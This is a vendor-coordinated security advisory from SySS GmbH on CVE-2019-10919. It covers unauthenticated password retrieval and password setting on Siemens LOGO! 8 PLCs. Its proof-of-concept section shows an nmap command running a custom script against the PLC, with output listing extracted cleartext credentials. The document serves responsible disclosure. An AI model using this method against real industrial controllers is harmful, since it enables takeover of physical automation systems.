Siemens LOGO! 8 Missing Authentication Vulnerability

Siemens LOGO! 8 Missing Authentication Vulnerability

Product: LOGO!
Manufacturer: Siemens
Affected Version(s): LOGO! 8 (all versions) 
Tested Version(s): LOGO! 8, 6ED1052-2MD00-0BA8 FS:03, 0BA8.Standard V1.08.03
Vulnerability Type: Missing Authentication for Critical Function (CWE-306)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-04-04
Solution Date: 2019-05-14 (recommended mitigation by manufacturer)
Public Disclosure: 2019-05-29
CVE Reference: CVE-2019-10919
Authors of Advisory: Manuel Stotz (SySS GmbH), Matthias Deeg (SySS GmbH)

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Overview:

Siemens LOGO! is a programmable logic controller (PLC) for small
automation tasks.

The manufacturer describes the product as follows (see [1]):

"Simple installation, minimum wiring, user-friendly programming: You can
easily implement small automation projects with LOGO!, the intelligent
logic module from Siemens. The LOGO! Logic Module saves space in the
control cabinet, and lets you easily implement functions, such as
time-delay switches, time relays, counters and auxiliary relays. "

Due to storing passwords in a recoverable format on LOGO! 8 PLCs, an
attacker can gain access to configured passwords as cleartext.

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Vulnerability Details:

SySS GmbH found out that the provided function "GetProfile" of a LOGO! 8
PLC that is for instance used by the software tool LOGO! Soft Comfort
does not require any authentication.

Thus, an attacker can send a "GetProfile" query to a LOGO! 8 PLC and
will receive the requested profile information containing sensitive
data such as different configured passwords.

This profile data is encrypted - but it is encrypted via 3DES using a
static, hard-coded cryptographic key, which is described in the SySS
security advisory SYSS-2019-012 [2]. So, by knowing this 3DES key, an
attacker can simply decrypt all sensitive data and use the contained
cleartext passwords (see SySS security advisory SYSS-2019-014 [3]) in
further attacks.

Furthermore, SySS GmbH found out that the provided function for setting
password data on a LOGO! 8 PLC can also be used without any
authentication. Therefore, an attacker can simply set arbitrary
passwords by sending a specific request to the LOGO! 8 PLC via the
network.

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Proof of Concept (PoC):

SySS GmbH could successfully extract sensitive data such as configured
passwords as cleartext from a LOGO! 8 using a developed Nmap script.

The following Nmap output exemplarily shows extracting cleartext
password data from a LOGO! 8 PLC:

$ nmap -p 10005 --script slig.nse 192.168.10.112
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-04 09:35 CEST
Nmap scan report for 192.168.10.112
Host is up (0.00044s latency).

PORT      STATE SERVICE
10005/tcp open  stel
| slig: Gathered Siemens LOGO!8 access details and passwords
| User: LSCUser
| Password: S3cret1
| Enabled: True
| User: AppUser
| Password: S3cret2
| Enabled: True
| User: WebUser
| Password: S3cret3
| Enabled: True
| User: TDUser
| Password: S3cret4
| Enabled: True
| Protection: Password
| Program password: SECRET
|_MMC serial: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

A successful attack against a LOGO! 8 extracting all configured
passwords is demonstrated in our SySS PoC video [7].

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Solution:

In the publicly released Siemens Security Advisory SSA-542701 [3],
the manufacturer Siemens recommends to apply a defense-in-depth concept,
including protection concept outlined in the system manual, as a
mitigation for reducing the risk of the described security issue.

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Disclosure Timeline:

2019-04-04: Vulnerability reported to manufacturer
2019-04-04: Manufacturer confirms receipt of security advisory and
            asks for referenced Nmap script
2019-04-04: SySS provides PoC Nmap script
2019-05-14: Public release of Siemens Security Advisory SSA-542701
2019-05-29: Public release of SySS security advisory

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References:

[1] Product website for Siemens LOGO!
    https://new.siemens.com/global/en/products/automation/systems/industrial/plc/logo.html
[2] SySS Security Advisory SYSS-2019-012
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-012.txt
[3] SySS Security Advisory SYSS-2019-014
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-014.txt
[4] SySS Security Advisory SYSS-2019-013
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-013.txt
[5] Siemens Security Advisory SSA-542701
    https://cert-portal.siemens.com/productcert/pdf/ssa-542701.pdf
[6] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/
[7] SySS Proof-of-Concept Video "Siemens LOGO! 8 PLC Password Hacking"
    https://youtu.be/TpH4EABGYCs